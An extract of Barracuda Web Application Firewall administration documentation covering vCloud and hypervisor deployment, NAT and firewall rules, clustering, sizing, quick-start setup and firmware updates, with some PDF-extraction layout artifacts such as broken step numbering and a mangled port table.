Accept End User License Agreement, Verify Configuration, and Change the Web Interface Password
Once the Barracuda Web Application Firewall is licensed and rebooted, access the Barracuda Web Application Firewall VM over the web
interface accept the End User License Agreement and verify the configuration. You should be able to see the NATed IP address that you
assigned when deploying the Barracuda Web Application Firewall on vCloud using the uploaded package. If you do not have the NATed IP
address, then follow the steps below:

4. Select the Gateways tab, and click to view the NAT Rules, Firewall Rules, Networks and Public IPs.
5. In the NAT Rules tab of Gateways, search the Public IP address for the Barracuda Web Application Firewall with the help of internal IP
address. Note the public IP address.
6. Open the web browser and enter the public IP address that you noted in step 5, with port 8000 for HTTP. No port is required for HTTPS.
For example:
For HTTP: http://<Public_IP>:8000
For HTTPS: https://<Public_IP>
7. Read through the End User License Agreement and scroll to the bottom.
8. Enter the required information: Name, Email Address, and Company (if applicable). Click Accept. You will be redirected to the login
page.
9. Log into the Barracuda Web Application Firewall VM web interface as administrator:
10. Go to the BASIC > Administration page and enter your old password, new password, and re-enter the new password in the Password
Change section.
11. Go to the BASIC > IP Configuration page, and do the following:
a. Verify the IP Address, Subnet Mask, and Default Gateway in the WAN IP Configuration section. Ensure Allow
Administrative Access is set to Yes.
b. Configure the LAN IP address in the LAN IP Configuration section if you have chosen Two-Arm Mode deployment. Ensure this
is the IP address configured on the vCloud portal for the Barracuda Web Application Firewall VM LAN interface when deploying.
c. Make sure Operation Mode is set to Proxy. Barracuda recommends you to go through the proxy deployment options and
choose your desired configuration before continuing. See Configuring Two-Arm Proxy Mode and Configuring One-Arm Proxy
Mode.
d. Verify the Primary and Secondary DNS server configuration settings.
e. Enter Default Hostname and Default Domain (for example, <yourcompanydomain.com>) in the Domain Configuration sectio
n. The Hostname will be used in reporting and the Default Domain is the domain for the system.
12.

12. Click Save.
Update the Firmware
Go to the ADVANCED > Firmware Update page and check if there is a new Latest General Release available. If so, perform the following steps
to update the system firmware.
Make sure to read the release notes to learn about enhancements and new features before upgrading the firmware. It is also good
practice to verify settings, as new features may have been included with the firmware update.
1. Click on the Download Now button located next to the firmware version that you wish to install. When the download is complete, the Ap
ply Now button appears.
2. Click on the Apply Now button to apply the firmware. This will take a few minutes to complete. After the firmware has been applied, the
Barracuda Web Application Firewall will automatically reboot, displaying the login page when the system has come back up.
3. After applying the firmware, you must log into the web interface of the Barracuda Web Application Firewall again.
It is recommended to take the snapshot of the Barracuda Web Application Firewall, so that it can be used in case of disaster recovery (or other
reason).
Refer to the Configuring a Service article to create the service on the deployed Barracuda Web Application Firewall.
In order to access the created services, you need to add NAT and Firewall rules to your network. To configure NAT and Firewall rules on vCloud,
see the Configure NAT and Firewall rules on vCloud article. Also, the service related ports should be opened in your firewall, so that it can be
reached through the internet.

Configure NAT and Firewall Rules on vCloud

Perform the following steps to configure NAT and Firewall rules on vCloud:

4. Select the Gateways tab, and click on the gateway for which you want to configure NAT and Firewall rules.
5. On the selected Gateway page, select the Public IPs tab, and click Add IP Address.
6. Click Add on the Add IP Address to gateway window. Once the Public IP address is created, it displays in the Public IPs table.
7. Select the NAT Rules tab, and click Add. The New NAT Rule on gateway window appears.
8. On the New NAT Rule on gateway window, do the following:
a. Type: Select SNAT.
b. Original (Internal) Source: Enter the internal IP address of the virtual machine where the SNAT rule applies.
c. Translated (External) Source: Select the Public IP address created in step 5 and 6.
d. Settings: Select Enable this rule check box.
e. Click Next.
f. Click Add and do the following:

i. Type: Select DNAT.
ii. Original (External) IP: Select the Public IP address created in steps 5 and 6.
iii. Translated (Internal) IP Range: Enter the internal IP address where the DNAT rule applies.
iv. Settings: Select Enable this rule check box.
v. Configure the values of other required parameters (Protocol, Original Port, ICMP Type and Translated Port).
vi. Click Next, and then click Finish.

9. Select the Firewall Rules tab, click Add and do the following:
a. Name: Enter a name for the firewall rule.
b. Settings: Select Enable this rule. Select Log network traffic for this exception (if required).
c. Select the values for other parameters (Protocol, Source, Source Port, Destination and Destination Port) as per your
security settings.
d. Click Next, and then click Finish.


Clustering of Two Barracuda Web Application Firewalls on vCloud

This article will walk you through the steps to deploy multiple Barracuda Web Application Firewalls in the same vApp and to set up clustering for
the deployed Barracuda Web Application Firewalls.
Step 1. Deploy Another Barracuda Web Application Firewall VM in the same vApp
Step 2. Set Up High Availability Environment for the Barracuda Web Application Firewalls
Step 3. Accessing Configured Services on the Clustered Barracuda Web Application Firewalls
Step 1. Deploy Another Barracuda Web Application Firewall VM in the same vApp

4. On the Virtual Machines tab, right click on the Barracuda Web Application Firewall VM to which you want to add another instance, and
select Manage in vCloud Director.
5. On the VMware vCloud Director window:
a. Select the Home tab.
b. Select the vApp that was created when deploying the Barracuda Web Application Firewall on vCloud. Refer to the Deploying
the Barracuda Web Application Firewall on vCloud section in the vCloud Air article..
c. Right click on the vApp and select Open.
6. Select the Virtual Machines tab, and click on the add icon.
7. On the New Virtual Machine window:
a. Select the Barracuda Web Application Firewall template under Add Virtual Machines and click Add.
b. Click Next to continue.

b.
c. Follow the steps from 3.e to 3.i in the Deploying the Barracuda Web Application Firewall on vCloud section of the vCloud
Air article.
Ensure the deployment mode is the same in both Barracuda Web Application Firewall VMs.
8. Follow the steps in the Barracuda Web Application Firewall Quick Start Guide – vCloud to configure the IP address to the new VM, to
license the VM, to verify configuration, to change the web interface password and to update the firmware.
Step 2. Set Up High Availability Environment for the Barracuda Web Application Firewalls
To set up a high availability environment for the deployed Barracuda Web Application Firewalls, refer to the High Availability article.
Step 3. Accessing Configured Services on the Clustered Barracuda Web Application Firewalls
Once the Barracuda Web Application Firewalls are clustered, no additional configuration is required to access the services during failover/failback
event. The Barracuda Web Application Firewall ensures the services are reachable through the NATed IP address(es).

Best Security Practices for the Barracuda Web Application Firewall on vCloud
Follow the steps mentioned below to secure the Barracuda Web Application Firewall on vCloud:
1. Once the Barracuda Web Application VM is licensed and upgraded to the latest firmware & definitions, remove the NATed IP address to
ensure the Barracuda Web Application Firewall is unavailable from the internet using the Public IP address. It will be accessible in your
local network using the internal IP address.
Connect the Barracuda Web Application Firewall to the internet when:
a. Renewing the Barracuda Web Application Firewall license.

b. Establishing a support tunnel to communicate with the Barracuda Technical Support for any troubleshooting issue.
2. If the NATed IP address cannot be removed and the Barracuda Web Application Firewall is in Two-Arm Proxy mode, then set Allow
Administration Access to No under WAN IP Configuration, and Yes under LAN IP Configuration on the BASIC > IP Configuration
page. This ensures the Barracuda Web Application Firewall is inaccessible over the WAN IP address, and is accessible only through the
LAN IP address.
3. It is recommended to access the Barracuda Web Application Firewall using a separate network (Management Network). For more
information, refer to the Setting up the Management Interface for the Barracuda Web Application Firewall on vCloud article.

Setting Up the Management Interface for the Barracuda Web Application Firewall on vCloud
To set up a separate network for Management Access of the Barracuda Web Application Firewall, connect three network adapters when
deploying the Barracuda Web Application Firewall on vCloud.
Use only VMXNET3 network adapters.
Once the Barracuda Web Application Firewall is deployed and licensed, access the system using the WAN IP address (or NATed IP address)
and configure the management IP address under Management IP Configuration on the BASIC > IP Configuration page. Also, ensure Allow
Administration Access is set to Yes under Management IP Configuration.

Virtual Deployment
Requirement
This virtual appliance requires a 64-bit capable host.
The Barracuda Web Application Firewall Vx protects web applications from data breaches. It includes the following features:
Provides protection against data loss, application-layer DDoS, and known and previously unknown zero day application-layer attack
modalities.
Includes strong authentication and access control capabilities that ensure security and privacy by restricting access to sensitive
applications or data to authorized users.
Supported Deployment Modes
Only proxy mode deployments are supported with the Barracuda Web Application Firewall Vx; bridge mode is not supported. For more
information about proxy mode deployments, see these articles:

When the Barracuda Web Application Firewall Vx is created, it is deployed with one interface. To deploy the VM in Two-Arm Proxy
mode, perform the following additional configuration:
Add the interfaces (LAN and/or MGMT) by editing the VM on the VM server.
REBOOT the VM.
Access the web interface using the WAN IP address and configure the IP addresses for the added interfaces (LAN and/or
MGMT) on the BASIC > IP Configuration page.
Deploying Your Barracuda Web Application Firewall Vx
Complete the following steps to deploy your Barracuda Web Application Firewall Vx:
1. Deploy the Barracuda Web Application Firewall Vx image.

2. Allocate the cores, RAM, and hard disk space for your Barracuda Web Application Firewall Vx.
3. Set up the Barracuda Web Application Firewall Vx with the Vx Quick Start Guide.
4. Configure the Barracuda Web Application Firewall.
Managing Your Virtual Machine

How to Deploy Barracuda Web Application Firewall Vx Images

Barracuda offers the following types of images for the Barracuda Web Application Firewall Vx deployment. Follow the instructions for your hypervi
sor to deploy the Barracuda Web Application Firewall Vx appliance.
Image Type Supported Hypervisors
OVF VMware ESX and ESXi (vSphere Hypervisor) versions 4.x

VMware ESX and ESXi (vSphere Hypervisor) versions 5.x and
6.x
Sun/Oracle VirtualBox and VirtualBox OSE version 3.2
VMX VMware Server 2.x

VMware Workstation 6.x, Player 3.x, and Fusion 3.x
XVA Citrix XenServer 5.5+
VHD Microsoft Hyper-V 2008

Microsoft Hyper-V 8, 8.1, 2012, 2012 R2, 10
Download
You can download these images from the Barracuda Virtual Appliance Download page. After the download is complete, extract the files
from the ZIP folder.
Deploy OVF Images
VMware ESX and ESXi 4.x
Use the OVF file ending in -4x. ovf for this hypervisor .
1. Download and expand the Barracuda Web Application Firewall Vx ZIP folder.
2. From the File menu in the vSphere Client, select Deploy OVF Template.
3. Select Import from file, navigate to the extracted folder, and locate the Barracuda Web Application Firewall Vx OVF file. Click Next.
4. Set the network to point to the target network for this virtual appliance.
5. Follow the recommendations in Allocating Cores, RAM, and Hard Disk Space for Your Barracuda Web Application Firewall Vx.
6. Right-click your virtual appliance, select Open Console, and click the green arrow to power it on.
7. Follow the Barracuda Web Application Firewall Vx Quick Start Guide instructions to provision your virtual appliance.
VMware ESX, ESXi 5.x, and ESXi 6.x
Use the OVF file ending in -5x.ovf for the ESXi 5.x hypervisor and use the OVF file ending in -6x.ovf for the ESXi 6.x hypervisor.
2. Launch vSphere Client and select the appropriate resource pool.
3. From the File menu in the vSphere Client, select Deploy OVF Template.
4. Click Browse, navigate to the extracted folder, and locate the Barracuda Web Application Firewall Vx OVF file.
5. Click Next. Verify that you are installing the correct Barracuda virtual appliance. Click Next again.
6. Enter a name for the virtual appliance. Click Next.
7. Select the destination storage for the virtual machine. Click Next.
8. Select a disk format. To ensure maximum stability when deploying your Barracuda Vx appliance, specify the disk format as Thick
Provision Eager Zeroed. Click Next .
9. Map the network to the target network for this virtual appliance. Click Next.
10. Review the deployment options. Click Finish to deploy the virtual appliance.
11. Click Finish to deploy the appliance.
13. Locate the appliance within the appropriate virtual machine and resource pool. Select it and power it on by clicking the green arrow.
14. Click the Console tab. You can monitor the appliance as it is prepared for use.
15. Follow the Barracuda Web Application Firewall Vx Quick Start Guide instructions to set up your virtual appliance.
Sun/Oracle VirtualBox and VirtualBox OSE 3.2

Use the OVF file ending in -4x. ovf for this hypervisor .
2. From the File menu in the VirtualBox client, select Import Appliance.
3. Navigate to the extracted folder and locate the Barracuda Web Application Firewall Vx OVF file.
4. Select the file and click Next.
5. On the Import Settings screen, follow the recommendations in Allocating Cores, RAM, and Hard Disk Space for Your Barracuda Web

5.
Application Firewall Vx . Click Finish.
6. Start the appliance.
Deploy VMX Images
VMware Server 2.x
Use the .vmx and .vmdk files for this hypervisor .
2. Navigate to the extracted folder and move the files ending in .vmx and .vmdk into a folder in your datastore (which you can locate from
the Datastores list on your server's summary page).
3. From the VMware Infrastructure Web Access client's Virtual Machine menu, select Add Virtual Machine to Inventory.
4. Navigate to the folder in your datastore used in step 2 and select the file ending in .vmx. Click OK.
VMware Workstation 6.x, Player 3.x, and Fusion 3.x
Use the .vmx file for this hypervisor .
2. From the File menu, select Open a Virtual Machine.
3. Navigate to the extracted folder and select the file ending in .vmx.
4. Use the default settings and click Finish.
Deploy XVA Images
Citrix XEN Server 5.5+
Use the .xva file for this hypervisor. For XEN Server, you first import the virtual appliance template and then create a new virtual appliance based
on that template.
Step 1. Import the virtual appliance template:
2. From the File menu in the XenCenter client, select Import.
3. Click Browse, navigate to the extracted folder, and select the file ending in .xva. Click Next.
4. Select a server for the template. Click Next.
5. Select a storage repository for the template. Click Import.
6. Select a virtual network interface for the template. Click Next.
7. Review the template settings. Click Finish to import the template.
Step 2. Create a new virtual appliance:
1. Right-click the virtual appliance template and select New VM wizard.

2. Select the virtual appliance template. Click Next.
3. Enter a name for the virtual appliance. Click Next.
4. For the DVD drive, select <empty>. Click Next.
5. Select a home server. Click Next.
6. Specify the number of virtual CPUs and memory for the virtual appliance. Follow the recommendations in Allocating Cores, RAM, and
Hard Disk Space for Your Barracuda Web Application Firewall Vx . Click Next.
7. Select a virtual disk. Click Next.
8. Select a virtual network interface. Click Next.
9. Review the virtual appliance settings. Click Create Now.
10. When the virtual appliance is ready, right-click it and then click Start.
Deploy VHD Images
Microsoft Hyper-V 2008
Use the .vhd file for this hypervisor.
2. Navigate to the extracted folder and verify that the HyperV folder contains the following sub-folders:

2.
Snapshots
Virtual Hard Disks
Virtual Machines
3. In Hyper-V Manager, right-click the VM host and select Import Virtual Machine.
4. Navigate to the extracted folder, select the HyperV folder, and click Select Folder.
5. Select Copy the virtual machine and Duplicate all files. Click Import.
6. Follow the recommendations in Allocating Cores, RAM, and Hard Disk Space for Your Barracuda Web Application Firewall Vx .
7. Start the Barracuda Web Application Firewall Vx by right-clicking the virtual machine and selecting Start.
Microsoft Hyper-V 8, 8.1, 2012, 2012 R2, and 10
Use the .vhd file for this hypervisor.
2. Launch the WinServerSetup.bat file located in the extracted folder. This batch file corrects a compatibility issue and takes less than a
minute to run.
3. Navigate to the extracted folder and verify that the HyperV folder contains the following sub-folders:
Snapshots
Virtual Hard Disks
Virtual Machines
4. In Hyper-V Manager, right-click the VM host and select Import Virtual Machine.
5. On the Before You Begin page of the Import Virtual Machine wizard, click Next.
6. On the Locate Folder page:
a. Click Browse, navigate to the extracted folder, and select the HyperV folder. Click Select Folder.
b. Click Next.
7. On the Select Virtual Machine page, click Next.
8. On the Choose Import Type page, select Copy the virtual machine (created a new unique ID). Click Next.
9. On the Choose Destination: Choose Folders for Virtual Machine Files page, click Browse to search for the location where you want
to store the VM files. Click Next.
10. On the Choose Storage Folders: Choose Folders to Store Virtual Hard Disks page, click Browse to search for the location where
you want to store the virtual hard disks for the VM. Click Next.
11. For Microsoft Windows 10, you can modify the RAM and Hard Disk space allocations after completing step 12.
On the Configure Memory page, enter a size for the Startup RAM that meets the requirements at Allocating Cores, RAM, and Hard
Disk Space for Your Barracuda Web Application Firewall Vx. Keep the default settings for the other fields. Click Next.
12. On the Connect Network page, select the network interface that you want to use for management access of the VM. Click Next.
13. On the Summary page, verify that all the settings are correct. Click Finish.
14. For Microsoft Windows 10, go to the Actions pane and click on Settings under Barracuda Web Application Firewall. Under Hardware,
ensure that their is enough memory and hard disk space as specified in Allocating Cores, RAM, and Hard Disk Space for Your
Barracuda Web Application Firewall Vx.
15. Start your virtual appliance.
To take advantage of Microsoft's VHDX support on Hyper-V 2012, 2012 R2 and 10, follow the instructions in How to Convert and
Replace a Barracuda Virtual Appliance VHD File with a VHDX Format File.

Allocating Cores, RAM, and Hard Disk Space for Your Barracuda Web Application
Firewall Vx
Barracuda recommends the following sizing for initial deployment of your virtual appliance, or upgrading existing installations.
Cores, RAM, and Hard Disk Space for the Barracuda Web Application Firewall Vx
Model Minimum Cores Maximum Cores RAM - Recommended Hard Disk -

Minimum Recommended
Minimum
360 Vx 2 4 2 GB 50 GB
460 Vx 3 4 3 GB 50 GB
660 Vx 6 6 (1) 4 GB 50 GB
Note:
(1)To increase the performance of this model, you should plan on adding 1 GB of RAM for each additional core. Also plan to add
additional hard disk space. To purchase licenses for additional cores, contact your Barracuda sales representative.
Allocating Cores
In your hypervisor, specify the number of cores to be used by the Barracuda Web Application Firewall Vx. Each Barracuda Web Application
Firewall Vx model can use only the number of cores specified in the table above. For example, if you assign 4 cores to the Barracuda Web
Application Firewall 360 Vx (which supports only 2 cores), the hypervisor disables the 2 extra cores that cannot be used.
To add cores to your appliance:
1. Shut down the Barracuda Web Application Firewall Vx in your hypervisor.

2. In the virtual machine CPU settings, add cores.
Your hypervisor license and version might limit the number of cores that you can specify for your appliance. In some cases, you must
add cores in multiples of two.
Allocating Hard Disk Space
Barracuda requires a minimum of 50 GB of hard disk space to run your Barracuda Web Application Firewall Vx. From your hypervisor, you can
specify the size of the hard disk or add a hard disk.
To specify the allocated hard disk space or add a hard disk to your appliance:
1. Shut down the Barracuda Web Application Firewall Vx in your hypervisor.

2. Take a snapshot of the virtual machine.
3. In the virtual machine settings, specify the new size for the hard disk or add a new hard disk.
4. Restart the virtual machine. As the appliance is booting up, view the console for Barracuda Web Application Firewall Vx. When the blue
Barracuda console screen appears and asks if you want to use the additional hard disk space, enter Yes.
If you do not respond to the prompt in 30 seconds, the answer defaults to No. Resizing can take several minutes, depending on the
amount of hard disk space specified.

Next Step
For instructions on how to set up the Barracuda Web Application Firewall Vx, see the Barracuda Web Application Firewall Vx Quick Start Guide.

Barracuda Web Application Firewall Vx Quick Start Guide

To setup your Barracuda Web Application Firewall Vx, complete the following steps:
Before You Begin

Step 1. Open Network Address Ranges on Firewall
Step 2. Start the Virtual Appliance, Configure Networking, and Enter the License
Step 3. Accept the End User License Agreement and Verify Configuration
Step 4. Update the Firmware
Step 5. Change the Administrator Password
Next Step
Before You Begin
Deploy the Barracuda Web Application Firewall Vx on your hypervisor. When the Barracuda Web Application Firewall Vx is deployed, by default it
has only one Network Interface Card (NIC) associated with it. If you want to deploy the Barracuda Web Application Firewall Vx in the One-Arm
Proxy mode, then skip ahead to the Step 1. Enter the License Code section.
Only Proxy mode is supported for virtual deployment. For more information about deployment modes, please see Choosing Your
Deployment Mode.
If you want to deploy the Barracuda Web Application Firewall Vx in the Two-Arm Proxy mode, follow the steps below:
1. Power Off your Barracuda Web Application Firewall Vx.

2. Go to the hypervisor, right click on the VM instance and select Edit Settings.
3. Add an interface. Note that this interface will be called the LAN interface on the Barracuda Web Application Firewall Vx.
4. Add another interface. Note that this interface will be called the Management interface on the Barracuda Web Application Firewall Vx. If
your hypervisor does not have a third interface, then ignore this step, and the Management access of the Barracuda Web Application
Firewall Vx can be done through the WAN interface/LAN Interface.
5. Power On the Barracuda Web Application Firewall Vx.
Continue with Step 1. Enter the License Code.
You cannot add a Management interface without adding a LAN interface.
Step 1. Open Network Address Ranges on Firewall
If your Barracuda Web Application Firewall Vx is located behind a corporate firewall, open the following Barracuda network address ranges for
the ports shown in the table below on your firewall to ensure proper operation:
64.235.144.0/20
198.207.200.0/22
209.222.80.0/21

connections
25 In/Out Yes No Email alerts

(DNS)
80/8000 Out Yes No Virus/attack/security

definition and firmware
updates

(NTP)
443 Out Yes No Initial VM Provisioning *
* The initial provisioning port can be disabled once the initial provisioning process is complete.
Step 2. Start the Virtual Appliance, Configure Networking, and Enter the License
You should have received your Barracuda Vx license token via email or from the website when you downloaded the Barracuda Web Application
Firewall Vx package. If not, you can request an evaluation on the Barracuda website at https://www.barracuda.com/purchase/evaluation or

purchase one from https://www.barracuda.com/purchase/index. The license token looks similar to the following: 01234-56789-ACEFG.
1. In your hypervisor client, start the virtual appliance and allow it to boot up.
2. From the console, log in as admin with the password admin.
3. In the System Configuration window, use the down arrow key and select TCP/IP Configuration. Configure the following:
a. WAN IP Address
b. WAN Netmask
c. Gateway Address
d. Primary DNS Server
e. Secondary DNS Server
4. If the Internet can be accessed only through an explicit proxy, configure the proxy server using Proxy Server Configuration (Optional),
so that it reaches the Internet for provisioning.
5. Under Licensing enter your Barracuda License Token and Default Domain to complete provisioning. The appliance will reboot as a
part of the provisioning process.
Step 3. Accept the End User License Agreement and Verify Configuration
1. Go to http://<your ip>:8000 to access the web interface.

2. Read through the End User License Agreement. Scroll down to the end of the agreement.
3. Enter the required information: Name, Email Address, and Company (if applicable). Click Accept. You are redirected to the Login
page.
4. Log into the Barracuda Web Application Firewall Vx web interface as the administrator:
5. Go to the BASIC > IP Configuration page and configure the following:
a. Verify that the WAN IP Configuration is setup properly for IP Address, Subnet Mask, and Default Gateway. Make sure Allow
Administrative Access is set to Yes.
b. Configure the LAN IP Configuration and Management IP Configuration depending on your deployment.
c. Make sure Operation Mode is set to Proxy. You should review the proxy deployment options and choose your desired
configuration before continuing. See Configuring Two-Arm Proxy Mode and Configuring One-Arm Proxy Mode.
d. Verify that the Primary and Secondary DNS server are correct.
e. Enter Default Hostname and Default Domain (for example, <yourcompanydomain.com>) in the Domain Configuration. The H
ostname will be used in reporting and the Default Domain is the domain for the system.
The above configuration puts the VM in One-Arm Proxy mode. To deploy the VM in Two-Arm Proxy mode, do the following additional
configuration:
Add the interfaces (LAN and/or MGMT) by editing the VM on the VM server.
Access the web interface using the WAN IP address and configure the IP addresses for the added interfaces (LAN and/or
MGMT) on the BASIC > IP Configuration page.
For more information, see Configure the Barracuda Web Application Firewall.
If you are planning to put the Barracuda Web Application Firewall Vx in Offline mode, ensure you check the following:
All definitions are updated on the ADVANCED > Energize Updates page.
The Barracuda Web Application Firewall Vx is on the latest Firmware Version on the ADVANCED > Firmware Update page.
The Barracuda Web Application Firewall periodically connects to Barracuda Central to check for the availability of new Energize
Updates. To receive new Energize Updates, ensure your Barracuda Web Application Firewall is able to connect to internet to reach
Barracuda Central.
Step 4. Update the Firmware
Click on the ADVANCED > Firmware Update page. If there is a new Latest General Release available, perform the following steps to update the
system firmware:
1. Click on the Download Now button located next to the firmware version that you wish to install. To view download progress, click on the
Refresh button. When the download is complete, the Refresh button will be replaced by an Apply Now button.
2. Click on the Apply Now button to install the firmware. This will take a few minutes to complete.
3. After the firmware has been applied, the Barracuda Web Application Firewall Vx will automatically reboot, displaying the login page when
the system has come back up.
4. Log back into the web interface again and read the Release Notes to learn about enhancements and new features. It is also good
practice to verify settings you may have already entered, as new features may have been included with the firmware update.
Step 5. Change the Administrator Password
To avoid unauthorized use, we recommend you change the default administrator password to a more secure password. You can only change the

administrator password for the web interface. Go to the BASIC > Administration page and enter your old and new passwords, then click on Sav
e Password.
Next Step
Continue with the next step, Configuring a Service.


Virtual machine environments generally provide a snapshot capability, which captures the state of a system as it's running. Once a snapshot is
created, you can perform additional operations on the system and revert to the snapshot in the case of disaster recovery (or for any other
reason). Because this feature is so powerful, Barracuda strongly recommends performing a snapshot at certain points in time:
Before upgrading the Barracuda product firmware.

Before making major changes to your configuration (this makes taking a snapshot a convenient undo mechanism).
After completing and confirming a large set of changes, such as initial configuration.
As a periodic backup mechanism.
Before taking a snapshot, Barracuda strongly recommends powering off the virtual machine. This step is particularly important if you
are using Microsoft Hyper-V as your virtual machine environment.
Barracuda Networks recommends that you review your virtual environment documentation regarding the snapshot capabilities and be familiar
with their features and limitations.

Getting Started
Recommended Steps
Barracuda Networks recommends the following steps for choosing the best deployment for your network, installing, and configuring the
Step 1: Installing the Barracuda Web Application Firewall

Prepare for the Installation
Connect the Barracuda Web Application Firewall to the Network
Configure the IP Address and Network Settings
Configure the Barracuda Web Application Firewall from the Web Interface
Activate the Subscription Status
Update the Barracuda Web Application Firewall Firmware
Update the Attack, Virus, Security and GeoIP Definitions
Step 2: Configuring a Service
Step 3: Configuring Basic Service Settings
Configuring SSL for Services and Servers

Step 1: Installing the Barracuda Web Application Firewall
Before proceeding with the initial setup choose the mode of deployment under Operation Mode (Proxy or Bridge All) on the BASIC > IP
Configuration page. You choose the deployment mode depending on the current network configuration at your site and the types of services
that you want from the Barracuda Web Application Firewall. Two-Arm Proxy is recommended for initial deployment, so the Barracuda Web
Application Firewall is shipped with the Proxy mode setting. For more information on deployment, see Choosing Your Deployment Mode.
Once you have chosen the right deployment for your network you are ready to install the Barracuda Web Application Firewall and configure the
initial settings.
Steps to Install the Barracuda Web Application Firewall:
1. Prepare for the Installation

2. Connect the Barracuda Web Application Firewall to the Network
3. Configure the IP Address and Network Settings
4. Configure the Barracuda Web Application Firewall from the Web Interface
5. Activate the Subscription Status
6. Update the Barracuda Web Application Firewall Firmware
7. Update the Attack, Virus, Security and GeoIP Definitions
Continue with Step 2: Configuring a Service.

Prepare for the Installation

Before installing your Barracuda Web Application Firewall:
Installing the Barracuda Web Application Firewall may require certain changes to the existing network depending upon the network
configuration and the deployment mode of the Barracuda Web Application Firewall you choose. Network Changes can be classified as:
Hardware changes – Changes related to cabling, switches, routers, network interfaces, etc.
Configuration changes – Changes related to DNS databases, IP addresses of hosts and services, router configuration etc.
(Reverse proxy deployment only) If Client Impersonation is set to Yes on the BASIC > Services page, then an additional IP address
should be configured on the LAN subnet of the Barracuda Web Application Firewall and this should be the default gateway configured on
the back-end real servers.
Note the server IP address and TCP port of Web applications you want to protect.
Verify that you have the necessary equipment:
Barracuda Web Application Firewall (check that you have received the correct model)
AC power cord
Ethernet cables
Mounting rails (model 660 and higher) and screws
VGA monitor (recommended)
PS2 keyboard (recommended)

Connect the Barracuda Web Application Firewall to the Network

1. Fasten the Barracuda Web Application Firewall to a standard 19-inch rack or other stable location.
2. If using Reverse Proxy, then the network switch referenced in 2 (a) and (b) below may be the same physical switch. If using Bridge
Path, however, then separate switches on different Layer 2 networks must be used.
a. Connect a CAT5 Ethernet cable from the WAN interface on the Barracuda Web Application Firewall to the network switch where
the VIPs reside.
b. Connect a CAT5 Ethernet cable from the LAN interface on the Barracuda Web Application Firewall to the network switch where
the Real Servers reside.
Connecting the MGMT port located on the back panel of the unit to the network switch where the VIPs reside is
recommended.
3. Connect the following to your Barracuda Web Application Firewall:

a. Power cord
b. VGA monitor
c. PS2 keyboard
4. Press the Power button located on the front of the unit. The login prompt for the administrative console displays on the monitor, and the
power light on the front of the Barracuda Web Application Firewall turns on. For a description of each indicator light, refer to Front Panel
Indicator Lights in the Barracuda Web Application Firewall's Administrators Guide.

Configure the IP Address and Network Settings

The Barracuda Web Application Firewall is assigned a default IP address of 192.168.200.200. You can change the address using the
administrative console or by pressing and holding the RESET button on the front panel.
Holding RESET for eight seconds changes the default IP address to 192.168.1.200. Holding the button for 12 seconds changes the IP address to
10.1.1.200.
To set a new IP address from the administrative console:
1. Connect your keyboard and monitor directly to the Barracuda Web Application Firewall.
2. At the barracuda login prompt, enter admin for the login and admin for the password. The User Confirmation Requested window
displays the current IP address configuration of the Barracuda Web Application Firewall.
3. Using your Tab key, select Change and press Enter to change the IP address configuration.
4. Enter the new IP address, netmask, and default gateway for your Barracuda Web Application Firewall. Select Save to enter your
changes. (The Primary and Secondary DNS fields may be entered at this step or from the web interface). Select Exit.
The new IP address and network settings are applied to your Barracuda Web Application Firewall.

Configure the Barracuda Web Application Firewall from the Web Interface
After specifying the IP address of the Barracuda Web Application Firewall and opening the necessary ports on your corporate firewall, configure
the Barracuda Web Application Firewall from the web administration interface. This interface is accessed from a web browser on any machine
that can communicate with the appliance, so it must be on the same network, or have routing set up accordingly.
Secure Access
To ensure the highest security, use HTTPS to configure your Barracuda Web Application Firewall web interface. In addition, Barracuda
Networks recommends requiring HTTPS to connect to the Barracuda Web Application Firewall. To configure this setting, go to the ADV
ANCED > Secure Administration page in the Barracuda Web Application Firewall web interface.
To configure the Barracuda Web Application Firewall:
1. From a web browser, for HTTP access, enter the IP address of the Barracuda Web Application Firewall followed by port 8000. For
example: http://192.168.200.200:8000.
For HTTPS access, enter: https://192.168.200.200
2. To log into the administration interface, enter username: admin and password: admin.
3. Select BASIC > IP Configuration, and perform the following steps:
a. Enter the following information in the LAN IP Address Configuration section:
i. IP Address – The address that connects the Barracuda Web Application Firewall to the Real Server network. If Client
Impersonation is set to Yes on the BASIC > Services page, then an additional IP address should be configured on the
LAN subnet of the Barracuda Web Application Firewall and this should be the default gateway configured on the
back-end real servers.
ii. Subnet Mask – The subnet mask tied to the LAN.
b. Enter the IP address of your primary and secondary DNS servers (if these have not yet been set up).
c. Enter the default hostname and default domain name of the Barracuda Web Application Firewall.
4. Click Save.
5. Select BASIC > Administration, and do the following steps:
a. Assign a new administration password to the Barracuda Web Application Firewall (optional but highly recommended).
b. Make sure the local time zone is set correctly. Time on the Barracuda Web Application Firewall is automatically updated via NTP
(Network Time Protocol). It requires that port 123 is opened for outbound UDP (User Datagram Protocol) traffic on your firewall
(if the Barracuda Web Application Firewall is located behind one). It is important to set the time zone correctly because it is used
to coordinate traffic distribution and timestamps appear in all logs and reports.
c. If desired, change the port number used to access the Barracuda Web Application Firewall administration interface. The default
port is 8000.
d. Enter a web administration session expiration length (in minutes), after which an administrator will be required to log back in.
e. (Optional) Specify your local SMTP server. Enter the email address for your Administrator where the system should send threat
email alerts and notifications.
6. Click Save.

Activate the Subscription Status

After you install the Barracuda Web Application Firewall, activate Barracuda Energize Updates and other applicable subscriptions to fully enable
the appliance and let it continue to receive the latest updates to all virus, attack, and security definitions from Barracuda Central. The Barracuda
Energize Updates service downloads these updates to your Barracuda Web Application Firewall on an hourly basis.
To activate your subscription status:
1. At the top of the page, click the link in this message warning you that you must activate the Barracuda Web Application Firewall:
2. On the Product Activation page, fill in the required fields and click Activate. A confirmation page opens to display the terms of your
subscription.
a. If your Barracuda Web Application Firewall cannot communicate directly to Barracuda Central servers, note the Activation
Code displayed on the confirmation page.
3. Return to the Barracuda Web Application Firewall administration interface and go to the BASIC > Dashboard page.
4. In the Subscription Status section, verify that your subscriptions are Current.
5. If required, enter the Activation Code from step 2 and then click Activate.
It can take a few minutes for your current subscription statuses to display. If your subscription statuses are still displayed as inactivated, click Refr
esh in the Subscription Status section.
If your subscription status does not change to Current, or you need help filling out the Product Activation page, call a Barracuda
Networks sales representative.

Update the Barracuda Web Application Firewall Firmware

To update the firmware on the Barracuda Web Application Firewall:
1. Go to the ADVANCED > Firmware Update page.

2. Read the release notes to learn about the latest features and updates provided in the new firmware version.
3. Click Download Now next to Latest Early Release(s). Download Now is disabled if the Barracuda Web Application Firewall is already
up-to-date with the latest firmware version. Click OK on the download duration window. Updating the firmware may take several minutes.
Do not turn off your appliance during this process. The Barracuda Web Application Firewall begins downloading the latest firmware
